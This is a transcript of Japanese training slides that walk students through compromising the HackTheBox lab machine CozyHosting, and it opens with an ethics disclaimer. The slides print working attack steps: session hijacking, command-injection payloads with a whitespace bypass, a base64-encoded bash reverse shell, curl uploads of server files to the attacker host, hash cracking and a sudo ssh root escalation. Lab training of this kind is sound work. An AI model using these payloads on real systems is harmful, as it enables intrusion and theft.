Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
とりあえず HackTheBox をはじめてみる
Search
minanokawari
March 03, 2024
2
1.7k
とりあえず HackTheBox をはじめてみる
学生さんたちと一緒に HackTheBox の active machine にチャレンジしてみたときの資料です
minanokawari
March 03, 2024
Tweet
Share
More Decks by minanokawari
See All by minanokawari
ゆる~くOffSec.の話でもするんDAWA
minanokawari
0
1k
Featured
See All Featured
"I'm Feeling Lucky" - Building Great Search Experiences for Today's Users (#IAC19)
danielanewman
226
22k
Automating Front-end Workflow
addyosmani
1366
200k
Optimising Largest Contentful Paint
csswizardry
33
3k
We Have a Design System, Now What?
morganepeng
51
7.3k
Embracing the Ebb and Flow
colly
84
4.5k
[RailsConf 2023] Rails as a piece of cake
palkan
53
5k
Fashionably flexible responsive web design (full day workshop)
malarkey
405
66k
Building an army of robots
kneath
302
44k
Designing Dashboards & Data Visualisations in Web Apps
destraynor
229
52k
Producing Creativity
orderedlist
PRO
341
39k
個人開発の失敗を避けるイケてる考え方 / tips for indie hackers
panda_program
95
17k
JavaScript: Past, Present, and Future - NDC Porto 2020
reverentgeek
47
5.1k
Transcript
HackTheBox をはじめてみる Presented by Migawari @ NFLabs. UEC出張編, 2023/11/13 とりあえず
AGENDA はじめに Pentest と HackTheBox おわりに Challenge -CozyHosting- 1
はじめに 自己紹介とか免責次項とか 2
$whoami ・NTT Com.入社 6年目 in NFLabs. ・脅威分析のおしごとなう @strinsert1Na ときどき採用活動やリサーチ, CTF
なんかを仲間とやっている 3 高田研OBで当時は警告の研究とかしてました
・学んだ技術を使って現実世界に危害を与えるような行動をしないこと - 場合によっては刑事事件 - 「ツールがそんなことしてたなんて知らなかった!」 では済まされない 挙動・仕組みがわからないなら知らない相手にぶっぱしない ・あくまで、我々がより高度な防御を行うための検討材料として学ぶこと 免責事項 4
Ready...☞ 5
Pentest と HackTheBox 6
セキュリティむかしばなし 7 多層防御! パスワードZIP!! セキュリティ完璧や!!! 俺の考える最強のセキュリティ!! を各々の組織で考え、実践するスタイル(一部ではまだこの路線だけど……)
セキュリティむかしばなし 8 多層防御! パスワードZIP!! セキュリティ完璧や!!! まぁこれが現実なんですけどね (費用対効果: 低) 日本企業くんちょろすぎ~www システム使いにくすぎやろ
仕事にならんわマジで 従業員 攻撃者
より実践的で費用対効果の高い対策を!! 9 そもそもZIPって自動で防御 できてるんか!? それよりも 社内システムやばすぎ…? 攻撃者のロールとなったチームが企業の脆弱性を発見し、改善を促せばええやん!! もうパスワードZIP対策(笑)も IEでしか動かないシステムもやめよ? 効果ないしExploit刺さり放題よ??
悪性ZIPなんて全部メールセキュリティが 止めてるしそもそも見る機会無いわー 従業員 RedTeam
セキュリティのトレンドの変貌(個人の感想) 10 5~6年前から一気に “Offensive Security” が界隈でバズりはじめ RedTeam を持つ会社が増えた … 約10年前
5~6年前 現在 ・脅威インテリジェンス ・アトリビューション ・ユーザブルセキュリティ ・ペネトレーションテスト ・オフェンシブセキュリティ ・SBOM ・ゼロトラスト ・ASM
11 攻撃者の戦略(思考)やテクニックを学ぶことができる一つのサービスが HackTheBox です https://app.hackthebox.com/
Boot2Root 12 HackTheBox の machine の場合、ユーザ権限のシェルを取得したら1つflag(user.txt), root 権限のシェルを取得したら1つflag(root.txt)がもらえる root のシェルを取得するのがゴールのイメージ
HackTheBox はチャレンジのIPアドレスだけ与えられるブラックボックスな状態 で水平・垂直方向への展開を目指す Boot2Root 形式 起点の探し方や見つけ方はツールを知っていたりかなり経験による 当たりをつけるといった部分もあるので初心者の参入が難しめなイメージ CTF やったことある人は Jeopardy 形式のチャレンジがなじみ深い? もしかしたら Attack & Defense (King of the Hill) をやったことある人もいるかも?
HackTheBox のスコープを戦略マップから見る ATT&CK Enterprise Matrix: https://attack.mitre.org/matrices/enterprise/ 13 攻撃の進行 列挙 初期
侵入 + 永続化 権限 昇格 ネットワーク内部・ 隣のネットワーク への進出(横展開) 機密データの物色 持ち出し 多くの攻撃で最初の目標となる、侵害端末の完全掌握(権限昇格)までがスコープです
最近よく聞くケース 14 ホワイトハッカーっぽいことやりたいんですけどぉ 全然勉強の仕方がわからなくてぇ HackTheBox もすごく難しくってぇ…… もぅ、マジ無理。。。 HackTheBox もeasyの難易度が昔よりあがっているので、 何の準備もなしにいきなりやるのは厳しくなってきているかも…
今日の話を聞いて難しいなと思った人は 15 なるべくとっかかりやすくツールや考え方を紹介するつもりですが、難しいと感じる人は 誘導が丁寧な TryHackMe やすでに Writeup のある Retired Machine
で遊ぶのをオススメです https://tryhackme.com/
ここまでのまとめ 16 将来ペネトレーションテストを仕事にしたい人は、具体的な防御策まで考えなくてもいいかもしれない HackTheBox を通して攻撃者の視点・使うツール・テクニックを知る! Root まで取れたら、具体的な改善・防御の仕組みも考えてみる! 最初は何もわからないになりやすいので、 TryHackMe や
Writeup を見ながら Retired machine をやってみよう!
17 Challenge CozyHosting を解いてみる
Kali Linux 環境 事前準備 とりあえず以下の2つあれば始められます。 HackTheBox アカウント 18 事前準備はOK??
19 右上のメニューから “CONNECT TO HTB” => “Machines” => “OpenVPN” =>
“Protocol UDP で好きな Server を選択(距離的にSG か 空いているAU がいいかも)” => “DOWNLOAD VPN” ☞
$ sudo openvpn [your_vpn_filename].ovpn 20 Kali から openvpn をたたいて “Initialization
Sequence Completed” が出れば接続OK
事前準備 21 左のタブから “Machines” => CozyHostig => Join Machine を選択
事前準備 22 チャレンジマシンのIPアドレスが表示されてuser, root flagの入力フォームが出たら準備OK
ここから攻略開始 23
Reconnaissance 24
IPアドレスはわかってるけど…… 25 それしかわからない とりあえずどんなサービスが動いているか知りたい!! まずは攻略対象にどんなサービスが動いているのか調査して情報を収集しよう
基本のキ 26 ポートをスキャンしてどんなサービスが動いているかを調査する
nmap を対象サーバに打つ 27 $ nmap -Pn -T4 -A -sV 10.10.11.230
HackTheBox だと “-A” いらないと思う(既知だから) ssh (22) とnginx Web server (80) が動いている 基本 ssh が脆弱なmachineはないので定石はまず80へアクセス
10.10.11.230 へアクセスしようとしても…? 28 cozyhosting.htb へリダイレクトされて 名前解決ができなくて怒られる => “/etc/hosts” に登録しよう!!
/etc/hosts へ登録 29 $ sudo vim /etc/hosts ☞
とりあえずブラウザで見えるようになりました! 30 どこかの企業サイトっぽい??
ここからの方針 vulnhub調査メモ, 高林の雑記ブログ https://kakyouim.hatenablog.com/entry/2020/01/03/204612 31 基本的には、インターネットにある チートシートを見ながらツールを叩いて 丁寧に情報を収集するしかない 慣れてくると勘でもいけるけど 最初のうちはツール打つ
=> 待ちが多い印象 私は昔、有志の方のブログを見て 該当しそうなものをひたすら試してました
Web でよくある exploit vector 32 今回の machine だと 2番目か3番目のパターン?? とか思いながら情報を収集している
サービスが CVE や PoC が公開された脆弱性を持つバージョンで動いている サービスのコード書いた人がセキュリティガバガバ Easy machine だとフッター, バナー, ソースコードにヒントがあることが多い サービスの運用者がセキュリティガバガバ SQL injection, OS command injection, SSRF, etc. Joe アカウント, アカウント初期設定, 人とパスワードのヒントがプロフィールに載っている
Web 版とりあえずやっと系情報収集 33 1. サブドメイン探索 2. ディレクトリ探索 自分だととりあえず脳を殺してぶっぱする
使うツール -FFuF- 34 https://github.com/ffuf/ffuf $ sudo apt update $ sudo
apt install ffuf
seclist の Wordlist を手に入れて列挙する(サブドメイン) 35 $ sudo apt install seclists
$ ffuf -u http://cozyhosting.htb -H "Host: FUZZ.cozyhosting.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million- 110000.txt:FUZZ -c -mc 200
seclist の Wordlist を手に入れて列挙する(ディレクトリ) 36 $ ffuf -u http://cozyhosting.htb/FUZZ -w
/usr/share/wordlists/seclists/Discovery/Web-Content/raft-large- directories.txt:FUZZ -c <= /admin があやしい?
/admin を訪問 37 /login へリダイレクト `admin/admin` とかを試行しても入れない
/error も訪問 38 Whitelabel Error Page なるものが表示される
ggr 39 裏で SpringBoot が動いている?
もっとディレクトリ探索 40 seclist の wordlist から Springboot のディレクトリを 選んで探索する actuator/sessions
…? $ ffuf -u http://cozyhosting.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/spring-boot.txt:FUZZ -c
SpringBoot のドキュメントを調べる 41 https://spring.pleiades.io/spring-boot/docs/current/reference/html/actuator.html これはセッション情報見れるのでは?
/actuator/sessions を訪問 42 Kanderson ユーザのセッション情報がある。これで /admin へ入れる!?
余談: gobuster 43 $ gobuster dir -u http://cozyhosting.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
メジャーどころだとこういうツールでもディレクトリ列挙できます。お好みで。
余談: autorecon 44 $ sudo apt install seclists curl dnsrecon
enum4linux feroxbuster gobuster impacket- scripts nbtscan nikto nmap onesixtyone oscanner redis-tools smbclient smbmap snmp sslscan sipvicious tnscmd10g whatweb wkhtmltopdf $ python3 -m pip install git+https://github.com/Tib3rius/AutoRecon.git $ autorecon cozyhosting.htb ある程度探索を自動でやりたい人におすすめ。ただし長い。(HTBだと最近はあまり出番なし)
余談: autorecon 45 サービスごとに結果をまとめてくれます。しかしこれだけだと探索はあまいので過信は禁物
余談: rustscan 46 $ wget https://github.com/RustScan/RustScan/releas es/download/2.0.1/rustscan_2.0.1_amd64.deb $ sudo dpkg
-i rustscan_2.0.1_amd64.deb 最近だとざっとサービス確認したいときは rustscan がおすすめらしい。 https://twitter.com/schectman_hell/status/1671566069259960337
余談: rustscan 47 $ rustscan -a 10.10.11.230 --ulimit 5000 マジで爆速で終わるのでおすすめです。
Initial Access 48
49 “Proxy” => “Open Browser” からBurp内蔵のブラウザを使用する。 (リクエストの書き換えに便利なので) Firefox を一旦捨てて BurpSuite
を使う
50 Intercept を “On” にして/adminへ訪れる
51 Cookie を /actuator/sessions で手に入れたものに書き換えて “Forward” Intercept を “On” にして/adminへ訪れる
52 Admin ページに入れた!!!
53 Admin ページに入れた!!! ↓何やら面白そうなフォームがある↓
54 結果は “Proxy” => “HTTP history” から見てみる 適当な値を入れて “Submit” を押し挙動を見てみる
55 “execute” がそもそも怪しい。もっと面白いことができるかもしれないのでリクエストを送る /executessh に POST をしたら error が返ってきた
56 “/executessh” のPOSTを右クリック => “Send to Repeater” へ リクエストをさらに送ってみる
57 Invalid hostname! で怒られた。 両方nullとかにしてデータを送ってみる
58 じゃあhostnameだけ値を入れてあげる
59 じゃあhostnameだけ値を入れてあげる ssh command の メッセージ!?
うまくやれば OS コマンド通るんじゃない??? 1つの仮説 60
61 C2 (kali) に通信を通してみる $ python3 –m http.server 80 ここにリクエストが見えればOK
62 curl を飛ばしてみる # ;curl http://[your_ip_addr]; 空白の利用に制限があるみたい。。。
63 Whitespace bypass 手法をググる shell の変数に ${IFS} があって、shell 上ではこれで Whitespace
を表現できる模様 https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Comman d%20Injection/README.md#bypass-without-space
64 curl を飛ばしてみる # ;curl${IFS}http://[your_ip_addr]; 通った!!!
65 HTTP server 側にも返答 $ python3 –m http.server 80 これで被害端末を自由に操作できる
66 Next Step Reverse shell を張る
What is Reverse Shell? 67 OS command まで実行できるならば、 さらなる侵害につなげるためにsshのような対話型shellを入手したい コマンドを叩いて新たに接続用ポートを開けてもいいが、大抵のWebサーバは
Firewall が導入されており新規のインバンド通信は許されていない なので、侵害先のWebサーバから攻撃者の 端末に向かって shell の通信を確立させる これが Reverse shell の概念 https://www.wallarm.com/what/reverse-shell
Reverse shell のペイロード 68 https://www.revshells.com/ 最初は Reverse Shell Generator からとって使うのをオススメ
今回は1番上のbashを使います
やることのイメージ 69 Web server Kali bash -i >& /dev/tcp/[ip]/[port] 0>&1
nc –lnvp [port] 侵害した Web server 上で Reverse shell コマンドを叩き、kali 側で nc (netcat) を利用して受け取る port は何番でもいいけど止まりにくい 80 or 443 をオススメ
ちょっとだけペイロードの工夫 70 使用する Reverse shell のコマンドには”&” があり、これはGETのパラメータ には入れられない => 実行には一工夫必要
一番安直な方法として Base64 変換して実行する方法があるので、 Cyberchef でペイロードを作成する https://gchq.github.io/CyberChef/#recipe=To_Base64('A-Za-z0- 9%2B/%3D')URL_Encode(true)&input=YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0M yAwPiYx ↑ IP addr. と Port は各自変えてね!
71 ペイロードを送ってみる # kali side $ nc –lnvp 443 Kali
側に文字が表示されればほぼ勝ち # Burp side # ;echo${IFS}YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0MyAwPiYx|base64${IFS} -d|bash;
72 送ってみた結果 $ nc –lnvp 443 Bash が使えてそうなのでやったっぽい!!
73 コマンドも叩いてみよう $ whoami $ ls /home 問題なくコマンドも打てているので大丈夫そう! Initial Access
成功!!!
74 余談: tty 現在触っている shell は、ssh や terminal 起動で手に入れたshellとは勝手が異なる (あくまで、bash
の入出力がncを通して見えているだけ) Tab を使っても補完は効かず、コマンド実行中に Ctrl + C を押すとWeb server で打たれたコマンド ではなくkali の nc が落ちるので注意 tty コマンドを打っても現在のshellには tty がない
75 余談: tty python3 が入っている環境だと、以下の作業で仮想 tty を張ることが可能 tab 補完なども効くようになるのでとりあえずやっておいて損はないです。 #
nc terminal on kali $ python3 -c ‘import pty; pty.spawn("/bin/bash")’ (ctrl + z) $ stty raw -echo; fg
Update shell 76
77 念願の flag 一個目!? $ ls –la /home $ ls
–la /home/josh $ ls –la /app user.txt がない => まだ flag は手に入れられてない!! (おそらく、josh の権限が必要?)
78 だけどなんか jar fileはある $ ls –la /home $ ls
–la /home/josh $ ls –la /app Easy machine の場合ほぼ正解へのルートなので中を見たい。 だけど jar だから手元で jd-gui とか使わないと解析難しい。どうしたら。。。
79 C2(kali)へデータを送る $ python3 -m pip install --user uploadserver $
python3 -m uploadserver 80 Python の uploadserver を使うのがめっちゃ楽。Python で建ててここにPOSTする
80 C2(kali)へデータを送る - POST - # nc terminal on kali
$ curl -X POST http://[your_ip]/upload -F '
[email protected]
' 上記のように kali の HTTP server に upload リクエストが飛んでいればOK
81 Jar file を jd-gui から見る $ sudo apt install
jd-gui $ jd-gui
82 Jar file を jd-gui から見る $ sudo apt install
jd-gui $ jd-gui application.properties を見たら postgresql のusernameと password があるじゃん!!
83 Web server へ戻って postgres の中を漁る $ psql -U postgres
-h localhost ~# ¥l Cozyhosting という database があるのでそこを覗く
84 Cozyhosting database の中身を漁る ~# ¥c cozyhosting ~# ¥z ~#
select * from users; Sessions で見た kanderson 以外に admin ユーザが存在する => HTB ならとりあえず Crack!!
JohnTheRipper でハッシュをクラックする 85 $ gzip -d /usr/share/wordlists/rockyou.txt.gz $ john password.txt
--wordlist=/usr/share/wordlists/rockyou.txt Crack に使う辞書は “rockyou.txt” がとりあえず安定。 password.txt には、先ほど見えた admin のハッシュを一行入れておく manchesterunited っていうパスワードが復元できたけど!?!?
パスワードを復元できたときのTips 86 どこかに使い回せそうな場面があっただろうか? 弱 い パ ス ワ ー ド
が ど こ か で 使い回されていると考える
そういえば 87 /home 見たら Josh っていうユーザいたね?
ssh から josh/manchesterunited で入ってみる 88 $ ssh
[email protected]
キターーー
Flag ある……? 89 ありました! 長かったですがようやく flag 一つ目ですね
Privilege Escalation 90
基本方針 vulnhub Privilege Escalationメモ, 高林の雑記ブログ https://kakyouim.hatenablog.com/entry/2020/03/14/031746 91 基本的には”Reconnaissance” のフェーズと同じくでとにかく列挙して ①
Kernel の脆弱性 or ②脆弱なサービス, 設定を見つける (基本新しいマシンは②。古いと脳死①であがる)
Root になるためにとりあえず試したいことといえば……? 92
Root になるためにとりあえず試したいことといえば……? 93 User shell とったらとりあえず打っと系コマンド
とりあえず “sudo –l” 打つ 94 Josh は root として ssh
コマンドを打てる $ sudo -l
GTFOBins 95 https://gtfobins.github.io/ Unix Binary に怪しい設定あったら とりあえず GTFOBins 覗いて検索する ssh
も書いてある
GTFOBins 96 (snip.) https://gtfobins.github.io/ sudo 許されてるなら ProxyCommand option 使ってroot shell取れるって書いてある
試してみる 97 root.txt も見えたので勝ちです $ sudo ssh -o ProxyCommand=';bash 0<&2
1>&2’ x $ whoami $ id
98
余談: PEASS 99 https://github.com/carlospolop/PEASS-ng 普通は sudo –l だけで 解決しないので、 とりあえずこのような
ツールを動かして 怪しい箇所を列挙するのが一般的
100 $ wget http://10.10.14.48/linpeas.sh $ chmod +x linpeas.sh $ ./linpeas.sh
–a > lp.txt $ less –r lp.txt ※C2 (kali) 側では $ wget https://github.com/carlospolop/PEASS- ng/releases/download/20231112-0a42c550/linpeas.sh $ python3 -m http.server 80
101 ssh の部分もこんな感じで光って見えます
おわりに まとめとか雑談とか 102
In life, unlike chess, the game continues after checkmate 103
--- Isaac Asimov
In life, unlike HTB, the pentest continues after rooted 104
--- ??? 一緒にやって root をとって終わり、では意味がない
実際にやってみていかがでしたか!? 105 少しでも持ち帰ることのできる知見があったなら幸いです やってみると、脆弱性があるとわかっても意外と悪用が難しい… 新たに得られたツールやテクニックに関する知見はあった? 具体的な防御のイメージにつながった? ・OS Command Injection とならないコーディング
・パスワードの使い回しNG ・脆弱な sudo の設定
もう少し続けてみたいという方は…… 106 CozyHosting とは Attack vector が異なる “Sau” なんかがいいんじゃないかなと思います とりあえずは目指せ
“Hacker” rank!!
Any Questions? 107
わからなかったこととか聞きたいことあったら いつでもSlackなりTwitterなりメールなり気軽にしてください THANK YOU FOR LISTENING 108